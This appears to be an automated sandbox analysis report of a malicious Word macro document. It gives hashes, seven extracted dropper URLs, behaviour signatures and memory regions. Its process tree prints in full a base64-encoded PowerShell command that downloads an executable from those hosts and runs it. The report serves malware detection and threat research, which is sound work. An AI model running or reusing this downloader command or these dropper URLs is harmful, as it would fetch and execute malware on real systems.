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Analysis

  • max time kernel
    117s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    27/05/2024, 19:15

General

  • Target

    7a3828a90a46bde1a370f7faef08271a_JaffaCakes118.doc

  • Size

    194KB

  • MD5

    7a3828a90a46bde1a370f7faef08271a

  • SHA1

    cd49c702f60add103ae0be4953c78e7ce6b6038f

  • SHA256

    a6d4e72568e642cf4b7ebface0d1efd59bb14b348af845c74bd132af71733f53

  • SHA512

    b9a4ce3eec01c87602910435998777def206e94e41e4f46cfb887b7ccd257b0638417f8a6b6faaae389da7d2e6ab6efac6874406bfdda4d5a15a2499128ccdf2

  • SSDEEP

    1536:2rdi1Ir77zOH98Wj2gpngh+a9S8ul8oPhEPmRl6VOx4z:2rfrzOH98ipgO8ul8uWP+l6VOx4z

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://vstbar.com/wp-admin/Hs/

exe.dropper

http://binarywebtechsolutions.com/mobile-website-designing-company-in-gurgaon/CLZ/

exe.dropper

http://shahqutubuddin.org/U/

exe.dropper

http://cybersign-001-site5.gtempurl.com/2xwzq/bve/

exe.dropper

https://star-speed.vip/wp-admin/Ttv/

exe.dropper

https://treneg.com.br/rfvmbh/a/

exe.dropper

https://cimsjr.com/hospital/x2f/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7a3828a90a46bde1a370f7faef08271a_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2076
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:580
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABVADMANABrAGoAeQBkAD0AKAAnAEEAcQAnACsAKAAnAHUAJwArACcAaABhAGEAJwApACsAJwBsACcAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAJwArACcAbQAnACkAIAAkAGUATgB2ADoAVQBzAEUAUgBwAFIAbwBmAGkATABlAFwAbQA3AGIAaQA0AE8AQwBcAFEAawByAEgAMgBaAEsAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAEMAVQBSAEkAdABgAHkAUAByAGAATwBUAGAAbwBjAE8ATAAiACAAPQAgACgAKAAnAHQAbAAnACsAJwBzACcAKQArACgAJwAxADIALAAgACcAKwAnAHQAJwApACsAKAAnAGwAcwAxACcAKwAnADEALAAnACkAKwAoACcAIAAnACsAJwB0AGwAcwAnACkAKQA7ACQAQQA4AGcAdQBtAHkAOQAgAD0AIAAoACgAJwBGAGgAZABuACcAKwAnAHMAJwApACsAJwB1ACcAKQA7ACQAQgAwADkAbABkAHYAZAA9ACgAKAAnAEkAdwAnACsAJwB3ADMAJwApACsAJwB2ACcAKwAnADYAeQAnACkAOwAkAE0AYgBiADkAbwBjAGsAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAVwBTACcAKwAoACcAeABNACcAKwAnADcAJwApACsAKAAnAGIAaQA0ACcAKwAnAG8AJwApACsAKAAnAGMAJwArACcAVwBTACcAKQArACgAJwB4ACcAKwAnAFEAawByAGgAMgAnACsAJwB6ACcAKQArACgAJwBrAFcAJwArACcAUwB4ACcAKQApACAALQByAEUAUABsAGEAYwBFACAAIAAoACcAVwBTACcAKwAnAHgAJwApACwAWwBDAGgAQQBSAF0AOQAyACkAKwAkAEEAOABnAHUAbQB5ADkAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFYAMwBnAGgAbQA2ADcAPQAoACcAUAAnACsAKAAnADAAJwArACcAbgAwACcAKQArACgAJwB0ACcAKwAnAHYAOAAnACkAKQA7ACQAQwB1AGQAagBsAGwAdwA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAFQALgBXAEUAQgBjAEwASQBFAG4AVAA7ACQAWQBrADkAdgBkAGcAdQA9ACgAKAAnAGgAdAB0AHAAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AdgBzAHQAJwArACcAYgBhAHIAJwApACsAKAAnAC4AYwBvAG0AJwArACcALwAnACsAJwB3ACcAKQArACcAcAAnACsAJwAtACcAKwAoACcAYQBkACcAKwAnAG0AJwArACcAaQBuAC8AJwApACsAKAAnAEgAJwArACcAcwAvACcAKwAnACoAaAB0ACcAKQArACcAdAAnACsAJwBwADoAJwArACgAJwAvACcAKwAnAC8AYgBpACcAKQArACgAJwBuACcAKwAnAGEAcgB5AHcAZQBiAHQAJwArACcAZQAnACkAKwAoACcAYwBoAHMAbwAnACsAJwBsAHUAJwApACsAKAAnAHQAaQBvACcAKwAnAG4AcwAuAGMAJwArACcAbwAnACkAKwAnAG0ALwAnACsAKAAnAG0AbwBiAGkAbABlACcAKwAnAC0AdwBlACcAKwAnAGIAJwArACcAcwAnACkAKwAoACcAaQB0ACcAKwAnAGUAJwApACsAKAAnAC0AJwArACcAZABlAHMAaQBnACcAKQArACgAJwBuAGkAbgBnACcAKwAnAC0AYwAnACsAJwBvACcAKQArACcAbQBwACcAKwAoACcAYQBuACcAKwAnAHkAJwArACcALQBpAG4ALQAnACkAKwAoACcAZwB1ACcAKwAnAHIAZwAnACkAKwAoACcAYQBvACcAKwAnAG4ALwBDAEwAJwApACsAKAAnAFoAJwArACcALwAqAGgAdAAnACkAKwAnAHQAJwArACgAJwBwACcAKwAnADoALwAvAHMAaABhACcAKwAnAGgAcQAnACkAKwAnAHUAdAAnACsAJwB1AGIAJwArACcAdQAnACsAJwBkACcAKwAnAGQAaQAnACsAJwBuAC4AJwArACcAbwAnACsAJwByACcAKwAnAGcALwAnACsAJwBVACcAKwAnAC8AJwArACcAKgBoACcAKwAnAHQAJwArACgAJwB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAGMAeQBiAGUAcgBzACcAKwAnAGkAZwAnACkAKwAoACcAbgAtACcAKwAnADAAMAAxAC0AcwBpACcAKwAnAHQAZQAnACsAJwA1AC4AZwB0ACcAKwAnAGUAJwApACsAJwBtACcAKwAnAHAAJwArACgAJwB1ACcAKwAnAHIAbAAnACkAKwAoACcALgBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACgAJwAyAHgAJwArACcAdwB6AHEAJwApACsAKAAnAC8AYgB2AGUAJwArACcALwAqACcAKQArACgAJwBoAHQAJwArACcAdABwACcAKQArACgAJwBzADoAJwArACcALwAnACkAKwAnAC8AcwAnACsAKAAnAHQAYQAnACsAJwByAC0AJwArACcAcwBwAGUAZQAnACkAKwAnAGQAJwArACcALgB2ACcAKwAnAGkAJwArACgAJwBwAC8AJwArACcAdwBwAC0AJwApACsAKAAnAGEAZABtAGkAJwArACcAbgAnACkAKwAnAC8AJwArACcAVAAnACsAKAAnAHQAJwArACcAdgAvACoAaAAnACsAJwB0AHQAcAAnACkAKwAnAHMAJwArACcAOgAvACcAKwAoACcALwAnACsAJwB0AHIAJwApACsAJwBlACcAKwAoACcAbgBlACcAKwAnAGcAJwApACsAJwAuAGMAJwArACgAJwBvAG0ALgBiACcAKwAnAHIALwAnACsAJwByAGYAJwApACsAKAAnAHYAbQAnACsAJwBiAGgAJwArACcALwBhAC8AKgBoAHQAJwApACsAJwB0AHAAJwArACcAcwAnACsAJwA6AC8AJwArACgAJwAvAGMAaQBtACcAKwAnAHMAJwApACsAKAAnAGoAcgAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAvACcAKwAnAGgAJwApACsAJwBvAHMAJwArACcAcAAnACsAJwBpAHQAJwArACgAJwBhAGwALwB4ACcAKwAnADIAJwArACcAZgAvACcAKQApAC4AIgBTAFAAYABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEYAawAxAG0AbQBuAF8APQAoACcAWQAnACsAJwAxACcAKwAoACcAaAB2AHAAJwArACcAagAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAVABmAHkAdgBqAHQAMwAgAGkAbgAgACQAWQBrADkAdgBkAGcAdQApAHsAdAByAHkAewAkAEMAdQBkAGoAbABsAHcALgAiAEQAYABPAFcAYABOAEwAYABvAGEAZABGAEkATABFACIAKAAkAFQAZgB5AHYAagB0ADMALAAgACQATQBiAGIAOQBvAGMAawApADsAJABPAGEAawB3AG0AbQBmAD0AKAAnAEIAJwArACgAJwA0ACcAKwAnAHoAZgAnACkAKwAoACcAaABlACcAKwAnAGgAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAgACQATQBiAGIAOQBvAGMAawApAC4AIgBsAEUAbgBHAGAAVABIACIAIAAtAGcAZQAgADMANQAyADMAMwApACAAewAmACgAJwBJAG4AdgAnACsAJwBvAGsAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABNAGIAYgA5AG8AYwBrACkAOwAkAE4AdABrAGYAbQA3AHEAPQAoACcAVwAnACsAJwBrAHgAJwArACgAJwB4AGsAJwArACcAMQBuACcAKQApADsAYgByAGUAYQBrADsAJABEAHAAdABsAGwAMgA3AD0AKAAoACcATQBqACcAKwAnAHQAJwApACsAKAAnAHkAJwArACcANQBjADUAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAOAA3ADEAcQBkAGkAPQAoACcAVgAnACsAJwA0ACcAKwAoACcAcQBjAHQAJwArACcAdgAzACcAKQApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1892

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      6d38aea0354403706b3451c87ddd566b

      SHA1

      2ebe8dddab780756c5c053f025ca2e923062e28b

      SHA256

      af255b26a97bbe3d87df8f425fef6bd104e0c10dcddcf9be5600d0af414ab811

      SHA512

      7b326aabf0559582a378af859be300f6f62e141529616b2086746aac23fb2fb1d84b415ba82277af6cf5c9d8980d8843db933084f2d5291159c6a698cf05310e

    • memory/1892-39-0x000000001B180000-0x000000001B462000-memory.dmp

      Filesize

      2.9MB

    • memory/1892-40-0x0000000002510000-0x0000000002518000-memory.dmp

      Filesize

      32KB

    • memory/2076-27-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-32-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-10-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-8-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-16-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-31-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-19-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-22-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-21-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-20-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-18-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-17-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-15-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-14-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-13-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-12-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-11-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-0-0x000000002FB81000-0x000000002FB82000-memory.dmp

      Filesize

      4KB

    • memory/2076-7-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-28-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-9-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-30-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-29-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-26-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-25-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-24-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-23-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-33-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-6-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-2-0x000000007129D000-0x00000000712A8000-memory.dmp

      Filesize

      44KB

    • memory/2076-45-0x000000007129D000-0x00000000712A8000-memory.dmp

      Filesize

      44KB

    • memory/2076-46-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-48-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-49-0x0000000000290000-0x0000000000390000-memory.dmp

      Filesize

      1024KB

    • memory/2076-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2076-66-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2076-67-0x000000007129D000-0x00000000712A8000-memory.dmp

      Filesize

      44KB